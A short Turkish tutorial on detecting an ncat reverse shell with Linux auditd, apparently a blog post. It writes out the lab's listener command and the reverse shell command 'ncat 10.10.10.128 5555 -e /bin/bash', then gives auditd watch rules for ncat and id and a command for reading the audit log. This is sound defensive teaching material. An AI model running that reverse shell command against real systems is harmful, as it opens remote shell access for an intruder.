Linux Log Analizi — Auditd ile ncat Reverse Shell Tespiti

--

Bu yazımızda ncat ile reverse shell alınmasını sağlayarak, auditd loglarından bu işlemin analizini yapacağız.

Reverse shell için kalide aşağıdaki komutu çalıştıralım:

#nc -lvp 5555

Kurban makinada ise aşağıdaki komutu çalıştıralım:

#ncat 10.10.10.128 5555 -e /bin/bash

Bu işlemlerin tespiti için /etc/audit/rules.d/audit.rules dosyasına aşağıdaki kurallar eklenmelidir:

-w /usr/bin/id -p x -k id_komutu_calistirildi

-w /usr/bin/ncat -p x -k nc_kullanildi

Logları aşağıdaki komut aracılığıyla gözlemleyebiliriz:

#tail -n40 /var/log/audit/audit.log

ncat aracılığıyla reverse shell alındığı ve reverse shell alındıktan sonra id komutunun çalıştırıldığı yukarıdaki görselde gözlemlenmiştir. ncat komutu ve id komutunu uid değeri 1000 olan kullanıcı çalıştırmıştır. Kullanılan ncat komutu:

ncat 10.10.10.128 5555 -e /bin/bash şeklindedir.

--

--